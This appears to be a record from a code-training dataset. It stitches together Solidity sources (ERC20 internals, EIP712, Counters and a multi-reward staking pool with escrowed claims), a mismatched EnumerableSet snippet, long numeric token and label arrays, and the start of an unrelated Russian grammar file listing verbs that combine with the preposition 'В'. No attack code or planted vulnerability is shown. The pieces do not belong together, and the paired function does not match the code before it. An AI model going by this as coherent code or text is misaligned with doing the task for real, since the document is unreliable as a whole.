*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IAbstractRewards {
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has withdrawn.
* @param account The address of a token holder.
* @return The amount of funds that `account` has withdrawn.
*/
function withdrawnRewardsOf(address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has earned in total.
* accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER
* @param account The address of a token holder.
* @return The amount of funds that `account` has earned in total.
*/
function cumulativeRewardsOf(address account) external view returns (uint256);
/**
* @dev This event emits when new funds are distributed
* @param by the address of the sender who distributed funds
* @param rewardsDistributed the amount of funds received for distribution
*/
event RewardsDistributed(address indexed by, uint256 rewardsDistributed);
/**
* @dev This event emits when distributed funds are withdrawn by a token holder.
* @param by the address of the receiver of funds
* @param fundsWithdrawn the amount of funds that were withdrawn
*/
event RewardsWithdrawn(address indexed by, uint256 fundsWithdrawn);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IMultiRewardsBasePool.sol";
import "../interfaces/ITimeLockPool.sol";
import "./AbstractMultiRewards.sol";
import "./TokenSaver.sol";
abstract contract MultiRewardsBasePool is ERC20Votes, AbstractMultiRewards, IMultiRewardsBasePool, TokenSaver, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeCast for uint256;
using SafeCast for int256;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC20 public immutable depositToken;
address[] public rewardTokens;
mapping(address => bool) public rewardTokensList;
mapping(address => address) public escrowPools;
mapping(address => uint256) public escrowPortions; // how much is escrowed 1e18 == 100%
mapping(address => uint256) public escrowDurations; // escrow duration in seconds
event RewardsClaimed(address indexed _reward, address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount);
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address[] memory _rewardTokens,
address[] memory _escrowPools,
uint256[] memory _escrowPortions,
uint256[] memory _escrowDurations
) ERC20Permit(_name) ERC20(_name, _symbol) AbstractMultiRewards(balanceOf, totalSupply) {
require(_depositToken != address(0), "MultiRewardsBasePool.constructor: Deposit token must be set");
require(_rewardTokens.length == _escrowPools.length, "MultiRewardsBasePool.constructor: reward tokens and escrow pools length mismatch");
require(_rewardTokens.length == _escrowPortions.length, "MultiRewardsBasePool.constructor: reward tokens and escrow portions length mismatch");
require(_rewardTokens.length == _escrowDurations.length, "MultiRewardsBasePool.constructor: reward tokens and escrow durations length mismatch");
depositToken = IERC20(_depositToken);
for (uint i=0; i<_rewardTokens.length; i++) {
address rewardToken = _rewardTokens[i];
require(rewardToken != address(0), "MultiRewardsBasePool.constructor: reward token cannot be zero address");
address escrowPool = _escrowPools[i];
uint256 escrowPortion = _escrowPortions[i];
require(escrowPortion <= 1e18, "MultiRewardsBasePool.constructor: Cannot escrow more than 100%");
uint256 escrowDuration = _escrowDurations[i];
if (!rewardTokensList[rewardToken]) {
rewardTokensList[rewardToken] = true;
rewardTokens.push(rewardToken);
escrowPools[rewardToken] = escrowPool;
escrowPortions[rewardToken] = escrowPortion;
escrowDurations[rewardToken] = escrowDuration;
if(rewardToken != address(0) && escrowPool != address(0)) {
IERC20(rewardToken).safeApprove(escrowPool, type(uint256).max);
}
}
}
_setupRole(ADMIN_ROLE, msg.sender);
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
}
/// @dev A modifier which checks that the caller has the admin role.
modifier onlyAdmin() {
require(hasRole(ADMIN_ROLE, msg.sender), "MultiRewardsBasePool: only admin");
_;
}
function _mint(address _account, uint256 _amount) internal virtual override {
super._mint(_account, _amount);
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
_correctPoints(reward, _account, -(_amount.toInt256()));
}
}
function _burn(address _account, uint256 _amount) internal virtual override {
super._burn(_account, _amount);
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
_correctPoints(reward, _account, _amount.toInt256());
}
}
function _transfer(address _from, address _to, uint256 _value) internal virtual override {
super._transfer(_from, _to, _value);
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
_correctPointsForTransfer(reward, _from, _to, _value);
}
}
function rewardTokensLength() external view returns (uint256) {
return rewardTokens.length;
}
function addRewardToken(
address _reward,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration)
external onlyAdmin
{
require(_reward != address(0), "MultiRewardsBasePool.addRewardToken: reward token cannot be zero address");
require(_escrowPortion <= 1e18, "MultiRewardsBasePool.addRewardToken: Cannot escrow more than 100%");
if (!rewardTokensList[_reward]) {
rewardTokensList[_reward] = true;
rewardTokens.push(_reward);
escrowPools[_reward] = _escrowPool;
escrowPortions[_reward] = _escrowPortion;
escrowDurations[_reward] = _escrowDuration;
if(_reward != address(0) && _escrowPool != address(0)) {
IERC20(_reward).safeApprove(_escrowPool, type(uint256).max);
}
}
}
function updateRewardToken(address _reward, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration) external onlyAdmin {
require(rewardTokensList[_reward], "MultiRewardsBasePool.updateRewardToken: reward token not in the list");
require(_reward != address(0), "MultiRewardsBasePool.updateRewardToken: reward token cannot be zero address");
require(_escrowPortion <= 1e18, "MultiRewardsBasePool.updateRewardToken: Cannot escrow more than 100%");
if (escrowPools[_reward] != _escrowPool && _escrowPool != address(0)) {
IERC20(_reward).safeApprove(_escrowPool, type(uint256).max);
}
escrowPools[_reward] = _escrowPool;
escrowPortions[_reward] = _escrowPortion;
escrowDurations[_reward] = _escrowDuration;
}
function distributeRewards(address _reward, uint256 _amount) external override nonReentrant {
IERC20(_reward).safeTransferFrom(_msgSender(), address(this), _amount);
_distributeRewards(_reward, _amount);
}
function claimRewards(address _reward, address _receiver) public {
uint256 rewardAmount = _prepareCollect(_reward, _msgSender());
uint256 escrowedRewardAmount = rewardAmount * escrowPortions[_reward] / 1e18;
uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount;
ITimeLockPool escrowPool = ITimeLockPool(escrowPools[_reward]);
if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) {
escrowPool.deposit(escrowedRewardAmount, escrowDurations[_reward], _receiver);
}
// ignore dust
if(nonEscrowedRewardAmount > 1) {
IERC20(_reward).safeTransfer(_receiver, nonEscrowedRewardAmount);
}
emit RewardsClaimed(_reward, _msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount);
}
function claimAll(address _receiver) external {
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
claimRewards(reward, _receiver);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "../interfaces/IAbstractMultiRewards.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
/**
* @dev Based on: https://github.com/indexed-finance/dividends/blob/master/contracts/base/AbstractDividends.sol
* Renamed dividends to rewards.
* @dev (OLD) Many functions in this contract were taken from this repository:
* https://github.com/atpar/funds-distribution-token/blob/master/contracts/FundsDistributionToken.sol
* which is an example implementation of ERC 2222, the draft for which can be found at
* https://github.com/atpar/funds-distribution-token/blob/master/EIP-DRAFT.md
*
* This contract has been substantially modified from the original and does not comply with ERC 2222.
* Many functions were renamed as "rewards" rather than "funds" and the core functionality was separated
* into this abstract contract which can be inherited by anything tracking ownership of reward shares.
*/
abstract contract AbstractMultiRewards is IAbstractMultiRewards {
using SafeCast for uint128;
using SafeCast for uint256;
using SafeCast for int256;
/* ======== Constants ======== */
uint128 public constant POINTS_MULTIPLIER = type(uint128).max;
event PointsCorrectionUpdated(address indexed reward, address indexed account, int256 points);
/* ======== Internal Function References ======== */
function(address) view returns (uint256) private immutable getSharesOf;
function() view returns (uint256) private immutable getTotalShares;
/* ======== Storage ======== */
mapping(address => uint256) public pointsPerShare; //reward token address => points per share
mapping(address => mapping(address => int256)) public pointsCorrection; //reward token address => mapping(user address => pointsCorrection)
mapping(address => mapping(address => uint256)) public withdrawnRewards; //reward token address => mapping(user address => withdrawnRewards)
constructor(
function(address) view returns (uint256) getSharesOf_,
function() view returns (uint256) getTotalShares_
) {
getSharesOf = getSharesOf_;
getTotalShares = getTotalShares_;
}
/* ======== Public View Functions ======== */
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param _reward Address of the reward token
* @param _account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address _reward, address _account) public view override returns (uint256) {
return cumulativeRewardsOf(_reward, _account) - withdrawnRewards[_reward][_account];
}
/**
* @notice View the amount of rewards that an address has withdrawn.
* @param _reward The address of the reward token.
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has withdrawn.
*/
function withdrawnRewardsOf(address _reward, address _account) public view override returns (uint256) {
return withdrawnRewards[_reward][_account];
}
/**
* @notice View the amount of rewards that an address has earned in total.
* @dev accumulativeFundsOf(reward, account) = withdrawableRewardsOf(reward, account) + withdrawnRewardsOf(reward, account)
* = (pointsPerShare[reward] * balanceOf(account) + pointsCorrection[reward][account]) / POINTS_MULTIPLIER
* @param _reward The address of the reward token.
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has earned in total.
*/
function cumulativeRewardsOf(address _reward, address _account) public view override returns (uint256) {
return ((pointsPerShare[_reward] * getSharesOf(_account)).toInt256() + pointsCorrection[_reward][_account]).toUint256() / POINTS_MULTIPLIER;
}
/* ======== Dividend Utility Functions ======== */
/**
* @notice Distributes rewards to token holders.
* @dev It reverts if the total shares is 0.
* It emits the `RewardsDistributed` event if the amount to distribute is greater than 0.
* About undistributed rewards:
* In each distribution, there is a small amount which does not get distributed,
* which is `(amount * POINTS_MULTIPLIER) % totalShares()`.
* With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting
* distributed in a distribution can be less than 1 (base unit).
*/
function _distributeRewards(address _reward, uint256 _amount) internal {
require(_reward != address(0), "AbstractRewards._distributeRewards: reward cannot be zero address");
uint256 shares = getTotalShares();
require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero");
if (_amount > 0) {
pointsPerShare[_reward] = pointsPerShare[_reward] + (_amount * POINTS_MULTIPLIER / shares);
emit RewardsDistributed(msg.sender, _reward, _amount);
}
}
/**
* @notice Prepares collection of owed rewards
* @dev It emits a `RewardsWithdrawn` event if the amount of withdrawn rewards is
* greater than 0.
*/
function _prepareCollect(address _reward, address _account) internal returns (uint256) {
require(_reward != address(0), "AbstractRewards._prepareCollect: reward cannot be zero address");
require(_account != address(0), "AbstractRewards._prepareCollect: account cannot be zero address");
uint256 _withdrawableDividend = withdrawableRewardsOf(_reward, _account);
if (_withdrawableDividend > 0) {
withdrawnRewards[_reward][_account] = withdrawnRewards[_reward][_account] + _withdrawableDividend;
emit RewardsWithdrawn(_reward, _account, _withdrawableDividend);
}
return _withdrawableDividend;
}
function _correctPointsForTransfer(address _reward, address _from, address _to, uint256 _shares) internal {
require(_reward != address(0), "AbstractRewards._correctPointsForTransfer: reward address cannot be zero address");
require(_from != address(0), "AbstractRewards._correctPointsForTransfer: from address cannot be zero address");
require(_to != address(0), "AbstractRewards._correctPointsForTransfer: to address cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPointsForTransfer: shares cannot be zero");
int256 _magCorrection = (pointsPerShare[_reward] * _shares).toInt256();
pointsCorrection[_reward][_from] = pointsCorrection[_reward][_from] + _magCorrection;
pointsCorrection[_reward][_to] = pointsCorrection[_reward][_to] - _magCorrection;
emit PointsCorrectionUpdated(_reward, _from, pointsCorrection[_reward][_from]);
emit PointsCorrectionUpdated(_reward, _to, pointsCorrection[_reward][_to]);
}
/**
* @dev Increases or decreases the points correction for `account` by
* `shares*pointsPerShare[reward]`.
*/
function _correctPoints(address _reward, address _account, int256 _shares) internal {
require(_reward != address(0), "AbstractRewards._correctPoints: reward cannot be zero address");
require(_account != address(0), "AbstractRewards._correctPoints: account cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPoints: shares cannot be zero");
pointsCorrection[_reward][_account] = pointsCorrection[_reward][_account] + (_shares * (pointsPerShare[_reward].toInt256()));
emit PointsCorrectionUpdated(_reward, _account, pointsCorrection[_reward][_account]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IAbstractMultiRewards {
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param reward Address of the reward token
* @param account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address reward, address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has withdrawn.
* @param reward The address of the reward token.
* @param account The address of a token holder.
* @return The amount of funds that `account` has withdrawn.
*/
function withdrawnRewardsOf(address reward, address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has earned in total.
* accumulativeFundsOf(reward, account) = withdrawableRewardsOf(reward, account) + withdrawnRewardsOf(reward, account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[reward][account]) / POINTS_MULTIPLIER
* @param reward The address of the reward token.
* @param account The address of a token holder.
* @return The amount of funds that `account` has earned in total.
*/
function cumulativeRewardsOf(address reward, address account) external view returns (uint256);
/**
* @dev This event emits when new funds are distributed
* @param by the address of the sender who distributed funds
* @param reward the address of the reward token
* @param rewardsDistributed the amount of funds received for distribution
*/
event RewardsDistributed(address indexed by, address indexed reward, uint256 rewardsDistributed);
/**
* @dev This event emits when distributed funds are withdrawn by a token holder.
* @param reward the address of the reward token
* @param by the address of the receiver of funds
* @param fundsWithdrawn the amount of funds that were withdrawn
*/
event RewardsWithdrawn(address indexed reward, address indexed by, uint256 fundsWithdrawn);
} | * @dev Add a value to a set. O(1). Returns true if the value was added to the set, that is if it was not already present./ | function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
| 7,288 | [
1,
986,
279,
460,
358,
279,
444,
18,
531,
12,
21,
2934,
2860,
638,
309,
326,
460,
1703,
3096,
358,
326,
444,
16,
716,
353,
309,
518,
1703,
486,
1818,
3430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
12,
2160,
1578,
694,
2502,
444,
16,
1731,
1578,
460,
13,
2713,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
1289,
12,
542,
6315,
7872,
16,
460,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
